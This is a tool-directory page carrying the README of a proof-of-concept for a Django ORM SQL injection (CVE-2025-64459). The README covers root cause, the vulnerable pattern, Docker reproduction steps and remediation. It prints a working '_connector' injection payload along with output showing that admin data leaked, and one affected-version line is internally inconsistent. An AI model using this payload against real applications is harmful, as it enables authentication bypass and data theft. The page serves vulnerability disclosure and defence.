Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-64459-Poc — Vulnerability: SQL Injection via QuerySet and Q() keyword argument unpacking. CVE ID: CVE-2025-64459 Severity: Critical (CVSS 9.1) Affected Versions: Django 5.1 < 5.1.14, 4.2 < 4.2.26, and 5.2 < 5.2.8. Researcher: Cyberstan (University of Warwick) | Kitploit
Tools/GitHubGitHub/0xcyberstan/cve-2025-64459-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHub0xcyberstan/cve-2025-64459-poc

CVE-2025-64459-Poc

Vulnerability: SQL Injection via QuerySet and Q() keyword argument unpacking. CVE ID: CVE-2025-64459 Severity: Critical (CVSS 9.1) Affected Versions: Django 5.1 < 5.1.14, 4.2 < 4.2.26, and 5.2 < 5.2.8. Researcher: Cyberstan (University of Warwick)

View Repository
214011 months agoNot yet reviewed
Share

CVE-2025-64459: Django ORM SQL Injection PoC

Severity CVSS Django

Vulnerability: SQL Injection via QuerySet and Q() keyword argument unpacking. CVE ID: CVE-2025-64459 Discovered By: Me (Cyberstan) Disclosure Date: November 5, 2025


🚨 Executive Summary

This repository contains a Dockerized Proof of Concept (PoC) demonstrating a critical SQL Injection vulnerability in the Django ORM.

The vulnerability exists in how the Q object handles keyword arguments during instantiation. Specifically, the internal _connector attribute is not properly sanitized when passed via dictionary unpacking (e.g., Q(**user_input)). This allows a remote attacker to inject arbitrary SQL logic into the WHERE clause of a database query, enabling authentication bypass, data exfiltration, and privilege escalation.

Affected Versions

  • Django 5.1: Versions < 5.1.14
  • Django 5.0: Versions < 5.2.8
  • Django 4.2: Versions < 4.2.26

⚙️ Technical Analysis

The Root Cause

The vulnerability resides in django.db.models.sql.where.WhereNode. The as_sql method, which is responsible for compiling the SQL WHERE clause, uses unsafe string formatting to insert the query connector (AND/OR).

While the connector usually defaults to "AND" or "OR", Django allows this to be overridden via the _connector keyword argument in the Q object constructor.

# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
    # ...
    # The self.connector attribute is injected directly without validation
    conn = ' %s ' % self.connector
    # ...

The Attack Vector

The vulnerability is triggered when developers use dictionary unpacking to construct filters from user input—a common pattern in search APIs.

Vulnerable Code Pattern:

# Attacker controls the keys and values of 'filters'
filters = request.GET.dict() 
query = Q(**filters)  # <--- VULNERABLE POINT
results = User.objects.filter(query)

If an attacker includes _connector as a key in their input, they can manipulate the SQL structure.


🛠️ Reproduction Steps

This PoC uses Docker to ensure a consistent, isolated environment containing the vulnerable version of Django (5.1).

Prerequisites

  • Docker
  • Docker Compose

1. Clone the Repository

git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC

2. Run the Exploit

Run the following command to build the environment and execute the attack script:

docker-compose up --build

3. Analyze Output

The container will execute a Python script (poc.py) that mimics a vulnerable application endpoint.

  1. It creates two users: alice (standard) and root (admin).
  2. It mimics a search request containing the malicious _connector payload.
  3. It prints the resulting raw SQL and the leaked database rows.

Successful Exploit Output:

Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.

🛡️ Remediation

Immediate Patch

Upgrade Django to the latest security release immediately.

  • pip install Django==5.1.14 (or relevant version)

The patch introduces strict validation in WhereNode, ensuring that connector is only ever equal to AND or OR.

Code Hygiene / Workaround

If you cannot upgrade immediately, audit your codebase for usage of Q(**kwargs) or filter(**kwargs). ensure that the dictionary passed to these methods never contains raw user-controlled keys.

Safe Pattern:

# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}

# Now safe to unpack
User.objects.filter(**clean_filters)

⚠️ Disclaimer

This repository is for educational and security research purposes only.

The code provided creates a vulnerable environment to demonstrate a specific security flaw. It should never be run in a production environment. The author (Cyberstan) is not responsible for any misuse of this information. Testing this exploit against systems without explicit authorization is illegal. '''

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →